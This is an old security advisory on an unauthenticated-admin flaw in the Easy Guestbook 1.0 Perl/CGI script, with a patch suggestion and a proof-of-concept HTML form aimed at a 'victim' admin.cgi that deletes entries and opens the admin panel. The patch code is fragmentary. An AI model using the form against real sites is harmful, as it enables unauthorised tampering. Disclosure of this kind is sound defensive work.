[UNIX] Easy Guestbook Vulnerabilities

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Date: 07/29/02

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  Easy Guestbook Vulnerabilities


The <http://www.easyscripts.co.uk/guestbook_index.htm> Easy Guestbook is
a perl/cgi program which allows users on your website to sign your very
own guestbook. A security vulnerability in the product allows anyone to
delete the entries and login as an administrator and allows anyone to
reconfigure the Guestbook and change administrator password.


Vulnerable systems:
 * Easy Guestbook version 1.0

1) Add Access Validation on "delete_message" function and "start"
   Add admin.cgi with this code:
   sub login_verify
        if (!($FORM{'login_username'} eq $username &&
$FORM{'login_password'} eq $password))
          dienice("Sorry, but you have entered an invalid username or
password. Please press the 'back' button on your browser to return to the
Login Screen.");
And on the first line of "delete_message" function and "start" function
add this:

And on the "start" function add this code in the
   <input type="hidden" name="login_username"
   <input type="hidden" name="login_password"

2) Delete config.cgi after you finish configure the Guestbook.

Easy Guestbook Vulnerabilities

Date : July 19, 2002
Severity : Medium (Possible to delete the entries)
Systems Affected:
        Easy Guestbook v1.0

Vendor URL: http://www.easyscripts.co.uk
Vuln Type : It does not use Access Validation to delete the entries and
login as Admin Control.
Author : AresU
Greetz to : Bosen, Tioeuy, eF73, SakitJiwa, nimdA, FreshFirst, Algorithm,
Adv.URL : http://bosen.net/advisories/aresu-adv.002.txt
This source code is for educational purpose ONLY

<h1>Easy Guestbook v1.0 Vulnerabilities</h1>
<form method="POST" action="http://victim/guestbook/admin.cgi">
Delete No. of Entries in Guestbook: <input type="text" value=""
name="function" size="5"> <input type="submit" value="Delete Message"
name="delete_message" style="font-size: 10pt; font-family: verdana;
font-weight: bold"><br><hr>
Open Administration Guestbook: <input type="submit" value="Back to Admin"
name="back_to_admin" style="color: #800080; font-weight: bold">


The information has been provided by <mailto:ar3su@yahoo.com> Arek


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